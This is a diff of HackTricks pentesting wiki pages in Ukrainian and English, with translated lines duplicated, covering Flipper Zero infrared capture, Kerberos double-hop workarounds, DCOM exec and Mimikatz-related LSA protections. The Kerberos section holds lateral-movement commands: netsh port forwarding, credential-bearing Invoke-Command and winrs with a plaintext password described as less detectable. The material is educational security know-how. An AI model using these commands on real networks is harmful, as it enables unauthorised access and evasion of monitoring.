Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримайте HackTricks</summary>
* Ви працюєте в **кібербезпеці компанії**? Хочете побачити вашу **компанію в рекламі на HackTricks**? або хочете мати доступ до **останньої версії PEASS або завантажити HackTricks у PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Дізнайтеся про [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи у Telegram**](https://t.me/peass) або **слідкуйте** за мною на **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**репозиторію hacktricks**](https://github.com/carlospolop/hacktricks) **та** [**репозиторію hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}
## Вступ <a href="#ir-signal-receiver-in-flipper-zero" id="ir-signal-receiver-in-flipper-zero"></a>
Для отримання додаткової інформації про те, як працює інфрачервоне з'єднання, перегляньте:
Для отримання додаткової інформації про те, як працює інфрачервоний, перевірте:
{% content-ref url="../infrared.md" %}
[infrared.md](../infrared.md)
{% endcontent-ref %}
## Приймач сигналу ІЧ-випромінювання в Flipper Zero <a href="#ir-signal-receiver-in-flipper-zero" id="ir-signal-receiver-in-flipper-zero"></a>
## ІЧ-приймач сигналу в Flipper Zero <a href="#ir-signal-receiver-in-flipper-zero" id="ir-signal-receiver-in-flipper-zero"></a>
Flipper використовує цифровий приймач сигналу ІЧ TSOP, який **дозволяє перехоплювати сигнали від ІЧ пультів**. Є **смартфони**, такі як Xiaomi, які також мають ІЧ-порт, але пам'ятайте, що **більшість з них можуть лише передавати** сигнали і не можуть їх **приймати**.
Flipper використовує цифровий ІЧ-приймач сигналу TSOP, який **дозволяє перехоплювати сигнали від ІЧ-пультів**. Є деякі **смартфони**, такі як Xiaomi, які також мають ІЧ-порт, але майте на увазі, що **більшість з них можуть лише передавати** сигнали і **не можуть їх приймати**.
Приймач інфрачервоного променя Flipper досить **чутливий**. Ви можете навіть **зловити сигнал**, залишаючись **десь між** пультом та телевізором. Направлення пульта прямо на ІЧ-порт Flipper є непотрібним. Це дуже зручно, коли хтось перемикає канали, стоячи біля телевізора, і ви та Flipper знаходитесь на відстані.
ІЧ-приймач Flipper **досить чутливий**. Ви навіть можете **піймати сигнал**, залишаючись **десь посередині** між пультом і телевізором. Необхідно вказувати пульт безпосередньо на ІЧ-порт Flipper. Це зручно, коли хтось переключає канали, стоячи біля телевізора, а ви і Flipper знаходитесь на деякій відстані.
Оскільки **декодування інфрачервоного** сигналу відбувається на **програмному** рівні, Flipper Zero потенційно підтримує **прийом та передачу будь-яких кодів ІЧ пультів**. У випадку **невідомих** протоколів, які не можуть бути визнані - він **записує та відтворює** сирі сигнали точно так, як отримано.
Оскільки **декодування інфрачервоного** сигналу відбувається на **програмному** рівні, Flipper Zero потенційно підтримує **прийом і передачу будь-яких кодів ІЧ-пультів**. У випадку **невідомих** протоколів, які не можуть бути розпізнані - він **записує та відтворює** сирий сигнал точно так, як його отримано.
## Дії
### Універсальні пульти
Flipper Zero може бути використаний як **універсальний пульт для управління будь-яким телевізором, кондиціонером або медіацентром**. У цьому режимі Flipper **брутфорсить** всі **відомі коди** всіх підтримуваних виробників **згідно з словником з SD-карти**. Вам не потрібно вибирати певний пульт для вимкнення телевізора в ресторані.
Flipper Zero може використовуватися як **універсальний пульт для керування будь-яким телевізором, кондиціонером або медіацентром**. У цьому режимі Flipper **брутфорсить** всі **відомі коди** всіх підтримуваних виробників **згідно з словником з SD-карти**. Вам не потрібно вибирати конкретний пульт, щоб вимкнути телевізор у ресторані.
Достатньо натиснути кнопку живлення в режимі Універсального пульта, і Flipper **послідовно відправлятиме команди "Вимкнути"** всім телевізорам, які він знає: Sony, Samsung, Panasonic... і так далі. Коли телевізор отримає його сигнал, він відреагує і вимкнеться.
Досить натиснути кнопку живлення в режимі універсального пульта, і Flipper **послідовно надсилатиме команди "Вимкнути живлення"** всіх телевізорів, які він знає: Sony, Samsung, Panasonic... і так далі. Коли телевізор отримає свій сигнал, він відреагує і вимкнеться.
Такий брутфорс займає час. Чим більший словник, тим довше знадобиться для завершення. Неможливо визначити, який саме сигнал телевізор визнав, оскільки немає зворотного зв'язку від телевізора.
Такий брутфорс займає час. Чим більший словник, тим довше це займе. Неможливо дізнатися, який саме сигнал телевізор розпізнав, оскільки немає зворотного зв'язку від телевізора.
### Вивчення нового пульта
### Навчити новий пульт
З Flipper Zero можна **захопити інфрачервоний сигнал**. Якщо він **знаходить сигнал у базі даних**, Flipper автоматично **знає, який це пристрій** і дозволить вам з ним взаємодіяти.\
Можливо **захопити інфрачервоний сигнал** за допомогою Flipper Zero. Якщо він **знайде сигнал у базі даних**, Flipper автоматично **знатиме, який це пристрій** і дозволить вам взаємодіяти з ним.\
Якщо ні, Flipper може **зберегти** **сигнал** і дозволить вам **відтворити його**.
## Посилання
* [https://blog.flipperzero.one/infrared/](https://blog.flipperzero.one/infrared/)
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримайте HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}

View file

@ -1,111 +1,126 @@
# Проблема подвійного переходу Kerberos
# Kerberos Double Hop Problem
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Ви працюєте в **кібербезпеці компанії**? Хочете побачити **рекламу вашої компанії на HackTricks**? або хочете мати доступ до **останньої версії PEASS або завантажити HackTricks у PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційний PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за мною на **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**репозиторію hacktricks**](https://github.com/carlospolop/hacktricks) **та** [**репозиторію hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Вступ
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
Проблема "подвійного переходу" Kerberos виникає, коли атакуючий намагається використовувати **аутентифікацію Kerberos через два** **переходи**, наприклад, використовуючи **PowerShell**/**WinRM**.
{% embed url="https://websec.nl/" %}
Коли відбувається **аутентифікація** через **Kerberos**, **підтвердження** **не кешуються в пам'яті**. Тому, якщо ви запустите mimikatz, ви **не знайдете підтвердження** користувача на машині, навіть якщо він запускає процеси.
Це тому, що при підключенні за допомогою Kerberos відбуваються такі кроки:
## Introduction
1. Користувач1 надає підтвердження, і **контролер домену** повертає Kerberos **TGT** користувачу1.
2. Користувач1 використовує **TGT**, щоб запросити **квиток сервісу** для **підключення** до Сервер1.
3. Користувач1 **підключається** до **Сервер1** і надає **квиток сервісу**.
4. **Сервер1** **не має** **підтверджень** користувача1 в кеші або **TGT** користувача1. Тому, коли Користувач1 з Сервер1 намагається увійти на другий сервер, він **не може аутентифікуватися**.
Проблема "Подвійного стрибка" Kerberos виникає, коли зловмисник намагається використовувати **аутентифікацію Kerberos через два** **стрибки**, наприклад, використовуючи **PowerShell**/**WinRM**.
### Неконтрольоване делегування
Коли відбувається **аутентифікація** через **Kerberos**, **облікові дані** **не** кешуються в **пам'яті.** Тому, якщо ви запустите mimikatz, ви **не знайдете облікові дані** користувача на машині, навіть якщо він виконує процеси.
Якщо **неконтрольоване делегування** увімкнено на ПК, цього не станеться, оскільки **Сервер** отримає **TGT** кожного користувача, який до нього звертається. Крім того, якщо використовується неконтрольоване делегування, ви, ймовірно, зможете **компрометувати Контролер домену** з нього.\
[**Додаткова інформація на сторінці неконтрольованого делегування**](unconstrained-delegation.md).
Це відбувається тому, що при підключенні з Kerberos виконуються такі кроки:
1. Користувач1 надає облікові дані, і **контролер домену** повертає Kerberos **TGT** користувачу1.
2. Користувач1 використовує **TGT** для запиту **квитка служби** для **підключення** до Серверу1.
3. Користувач1 **підключається** до **Сервера1** і надає **квиток служби**.
4. **Сервер1** **не має** **облікових даних** користувача1 кешованими або **TGT** користувача1. Тому, коли користувач1 з Серверу1 намагається увійти на другий сервер, він **не може аутентифікуватися**.
### Unconstrained Delegation
Якщо **неконтрольована делегація** увімкнена на ПК, цього не станеться, оскільки **Сервер** **отримає** **TGT** кожного користувача, який до нього звертається. Більше того, якщо використовується неконтрольована делегація, ви, ймовірно, зможете **зламати контролер домену** з цього.\
[**Більше інформації на сторінці неконтрольованої делегації**](unconstrained-delegation.md).
### CredSSP
Ще один спосіб уникнути цю проблему, який [**відомий як небезпечний**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7), це **Постачальник підтримки безпеки облікових даних**. Від Microsoft:
Інший спосіб уникнути цієї проблеми, який є [**значно небезпечним**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7), це **Постачальник підтримки безпеки облікових даних**. Від Microsoft:
> Аутентифікація CredSSP делегує облікові дані користувача з локального комп'ютера на віддалений комп'ютер. Ця практика збільшує ризик безпеки віддаленої операції. Якщо віддалений комп'ютер скомпрометований, коли облікові дані передаються йому, облікові дані можуть бути використані для управління мережевою сесією.
> Аутентифікація CredSSP делегує облікові дані користувача з локального комп'ютера на віддалений комп'ютер. Ця практика підвищує ризик безпеки віддаленої операції. Якщо віддалений комп'ютер зламаний, коли облікові дані передаються на нього, ці облікові дані можуть бути використані для контролю мережевої сесії.
Дуже рекомендується **вимкнути CredSSP** на виробничих системах, в чутливих мережах та подібних середовищах через проблеми безпеки. Щоб визначити, чи **CredSSP** увімкнено, можна виконати команду `Get-WSManCredSSP`. Ця команда дозволяє **перевірити статус CredSSP** і навіть виконати її віддалено, якщо увімкнено **WinRM**.
Рекомендується **вимкнути CredSSP** на виробничих системах, чутливих мережах та подібних середовищах через проблеми безпеки. Щоб визначити, чи **CredSSP** увімкнено, можна виконати команду `Get-WSManCredSSP`. Ця команда дозволяє **перевірити статус CredSSP** і може бути виконана навіть віддалено, за умови, що **WinRM** увімкнено.
```powershell
Invoke-Command -ComputerName bizintel -Credential ta\redsuit -ScriptBlock {
Get-WSManCredSSP
}
```
## Обхідні шляхи
## Workarounds
### Виклик команди
### Invoke Command
Для вирішення проблеми подвійного переходу запропонований метод, що включає в себе вкладений `Invoke-Command`. Це не вирішує проблему безпосередньо, але пропонує обхідний шлях без необхідності спеціальних конфігурацій. Підхід дозволяє виконати команду (`hostname`) на вторинному сервері через команду PowerShell, виконану з початкової атакуючої машини або через раніше встановлену PS-сесію з першим сервером. Ось як це робиться:
Щоб вирішити проблему подвійного стрибка, пропонується метод, що включає вкладений `Invoke-Command`. Це не вирішує проблему безпосередньо, але пропонує обхідний шлях без необхідності спеціальних налаштувань. Цей підхід дозволяє виконати команду (`hostname`) на вторинному сервері через команду PowerShell, виконану з початкової атакуючої машини або через раніше встановлену PS-Session з першим сервером. Ось як це робиться:
```powershell
$cred = Get-Credential ta\redsuit
Invoke-Command -ComputerName bizintel -Credential $cred -ScriptBlock {
Invoke-Command -ComputerName secdev -Credential $cred -ScriptBlock {hostname}
}
```
Альтернативою є встановлення PS-сесії з першим сервером та запуск `Invoke-Command` за допомогою `$cred`, що рекомендується для централізації завдань.
Альтернативно, пропонується встановити PS-Session з першим сервером і виконати `Invoke-Command`, використовуючи `$cred`, для централізації завдань.
### Зареєструвати конфігурацію PSSession
### Реєстрація конфігурації PSSession
Рішення для обходу проблеми подвійного переходу полягає використання `Register-PSSessionConfiguration` з `Enter-PSSession`. Цей метод вимагає іншого підходу, ніж `evil-winrm`, і дозволяє створити сесію, яка не страждає від обмеження подвійного переходу.
Рішення для обходу проблеми подвійного стрибка передбачає використання `Register-PSSessionConfiguration` з `Enter-PSSession`. Цей метод вимагає іншого підходу, ніж `evil-winrm`, і дозволяє створити сесію, яка не страждає від обмеження подвійного стрибка.
```powershell
Register-PSSessionConfiguration -Name doublehopsess -RunAsCredential domain_name\username
Restart-Service WinRM
Enter-PSSession -ConfigurationName doublehopsess -ComputerName <pc_name> -Credential domain_name\username
klist
```
### Перенаправлення портів
### PortForwarding
Для локальних адміністраторів на проміжній цілі, перенаправлення портів дозволяє відправляти запити на кінцевий сервер. Використовуючи `netsh`, можна додати правило для перенаправлення портів, разом з правилом брандмауера Windows для дозволу перенаправленого порту.
Для локальних адміністраторів на проміжній цілі, переадресація портів дозволяє надсилати запити на кінцевий сервер. Використовуючи `netsh`, можна додати правило для переадресації портів, разом з правилом брандмауера Windows для дозволу переадресованого порту.
```bash
netsh interface portproxy add v4tov4 listenport=5446 listenaddress=10.35.8.17 connectport=5985 connectaddress=10.35.8.23
netsh advfirewall firewall add rule name=fwd dir=in action=allow protocol=TCP localport=5446
```
#### winrs.exe
`winrs.exe` може бути використаний для пересилання запитів WinRM, потенційно як менш виявний варіант, якщо вас турбує моніторинг PowerShell. Наведена нижче команда демонструє його використання:
`winrs.exe` може бути використаний для пересилання запитів WinRM, потенційно як менш помітний варіант, якщо моніторинг PowerShell є проблемою. Нижче наведено приклад його використання:
```bash
winrs -r:http://bizintel:5446 -u:ta\redsuit -p:2600leet hostname
```
### OpenSSH
Встановлення OpenSSH на першому сервері дозволяє обійти проблему подвійного переходу, особливо корисно для сценаріїв з jump box. Цей метод вимагає встановлення та налаштування OpenSSH для Windows через командний рядок. При налаштуванні для аутентифікації за паролем це дозволяє проміжному серверу отримати TGT від імені користувача.
Встановлення OpenSSH на першому сервері дозволяє обійти проблему подвійного стрибка, що особливо корисно для сценаріїв з використанням jump box. Цей метод вимагає CLI-встановлення та налаштування OpenSSH для Windows. Коли він налаштований для автентифікації за паролем, це дозволяє проміжному серверу отримати TGT від імені користувача.
#### Кроки встановлення OpenSSH
1. Завантажте та перемістіть останній архів релізу OpenSSH на цільовий сервер.
1. Завантажте та перемістіть останній реліз OpenSSH у zip-форматі на цільовий сервер.
2. Розпакуйте та запустіть скрипт `Install-sshd.ps1`.
3. Додайте правило брандмауера для відкриття порту 22 та перевірте, що служби SSH працюють.
3. Додайте правило брандмауера для відкриття порту 22 та перевірте, чи працюють служби SSH.
Для вирішення помилок `Connection reset` може знадобитися оновлення дозволів для надання всім доступу на читання та виконання в каталозі OpenSSH.
Щоб вирішити помилки `Connection reset`, можливо, потрібно оновити дозволи, щоб дозволити всім читати та виконувати доступ до каталогу OpenSSH.
```bash
icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T
```
## Посилання
## References
* [https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/understanding-kerberos-double-hop/ba-p/395463?lightbox-message-images-395463=102145i720503211E78AC20](https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/understanding-kerberos-double-hop/ba-p/395463?lightbox-message-images-395463=102145i720503211E78AC20)
* [https://posts.slayerlabs.com/double-hop/](https://posts.slayerlabs.com/double-hop/)
* [https://learn.microsoft.com/en-gb/archive/blogs/sergey\_babkins\_blog/another-solution-to-multi-hop-powershell-remoting](https://learn.microsoft.com/en-gb/archive/blogs/sergey\_babkins\_blog/another-solution-to-multi-hop-powershell-remoting)
* [https://4sysops.com/archives/solve-the-powershell-multi-hop-problem-without-using-credssp/](https://4sysops.com/archives/solve-the-powershell-multi-hop-problem-without-using-credssp/)
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримати HackTricks</summary>
* Ви працюєте в **кібербезпеці компанії**? Хочете побачити вашу **компанію рекламовану на HackTricks**? або ви хочете мати доступ до **останньої версії PEASS або завантажити HackTricks у PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Дізнайтеся про [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційний PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або групи [**telegram**](https://t.me/peass) або **слідкуйте** за мною на **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**репозиторію hacktricks**](https://github.com/carlospolop/hacktricks) **і** [**репозиторію hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

View file

@ -1,16 +1,19 @@
# DCOM Exec
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)..
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Try Hard Security Group**
@ -22,9 +25,9 @@
## MMC20.Application
**For more info about this technique chech the original post from [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)**
**Для отримання додаткової інформації про цю техніку перегляньте оригінальний пост за [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)**
Розподілена модель об'єктів компонентів (DCOM) надає цікаву можливість для мережевих взаємодій з об'єктами. Microsoft надає всебічну документацію як для DCOM, так і для моделі об'єктів компонентів (COM), доступну [тут для DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) та [тут для COM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx). Список додатків DCOM можна отримати за допомогою команди PowerShell:
Distributed Component Object Model (DCOM) об'єкти представляють цікаву можливість для мережевих взаємодій з об'єктами. Microsoft надає всебічну документацію як для DCOM, так і для Component Object Model (COM), доступну [тут для DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) та [тут для COM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx). Список DCOM додатків можна отримати за допомогою команди PowerShell:
```bash
Get-CimInstance Win32_DCOMApplication
```

View file

@ -1,103 +1,106 @@
# Mimikatz
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Працюєте в **кібербезпецівій компанії**? Хочете, щоб ваша **компанія рекламувалася на HackTricks**? або хочете мати доступ до **останньої версії PEASS або завантажити HackTricks у форматі PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за мною на **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**репозиторію hacktricks**](https://github.com/carlospolop/hacktricks) **та** [**репозиторію hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Ця сторінка базується на одній з [adsecurity.org](https://adsecurity.org/?page\_id=1821)**. Перевірте оригінал для додаткової інформації!
**Ця сторінка базується на одній з [adsecurity.org](https://adsecurity.org/?page\_id=1821)**. Перевірте оригінал для отримання додаткової інформації!
## LM та чіткий текст у пам'яті
## LM та відкритий текст в пам'яті
Починаючи з Windows 8.1 та Windows Server 2012 R2, були впроваджені значні заходи для захисту від крадіжки облікових даних:
З Windows 8.1 та Windows Server 2012 R2 впроваджено значні заходи для захисту від крадіжки облікових даних:
- **Хеші LM та паролі у чіткому тексті** більше не зберігаються в пам'яті для підвищення безпеки. Конкретна настройка реєстру, _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest "UseLogonCredential"_, повинна бути налаштована зі значенням DWORD `0`, щоб вимкнути аутентифікацію Digest, забезпечуючи, що "чіткі" паролі не кешуються в LSASS.
- **LM хеші та паролі у відкритому тексті** більше не зберігаються в пам'яті для підвищення безпеки. Специфічне налаштування реєстру, _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest "UseLogonCredential"_ повинно бути налаштоване з DWORD значенням `0`, щоб вимкнути Digest Authentication, забезпечуючи, що "паролі у відкритому тексті" не кешуються в LSASS.
- Введено **LSA Protection**, щоб захистити процес Local Security Authority (LSA) від несанкціонованого читання пам'яті та впровадження коду. Це досягається шляхом позначення LSASS як захищений процес. Активація захисту LSA включає:
1. Зміну реєстру за адресою _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa_ шляхом встановлення `RunAsPPL` на `dword:00000001`.
2. Впровадження об'єкта політики групи (GPO), який забезпечує цю зміну реєстру на керованих пристроях.
- **Захист LSA** введено для захисту процесу Local Security Authority (LSA) від несанкціонованого читання пам'яті та ін'єкції коду. Це досягається шляхом позначення LSASS як захищеного процесу. Активація захисту LSA передбачає:
1. Модифікацію реєстру в _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa_, встановивши `RunAsPPL` на `dword:00000001`.
2. Впровадження об'єкта групової політики (GPO), який забезпечує цю зміну реєстру на керованих пристроях.
Незважаючи на ці заходи захисту, інструменти, такі як Mimikatz, можуть обійти захист LSA за допомогою конкретних драйверів, хоча такі дії ймовірно будуть зафіксовані в журналах подій.
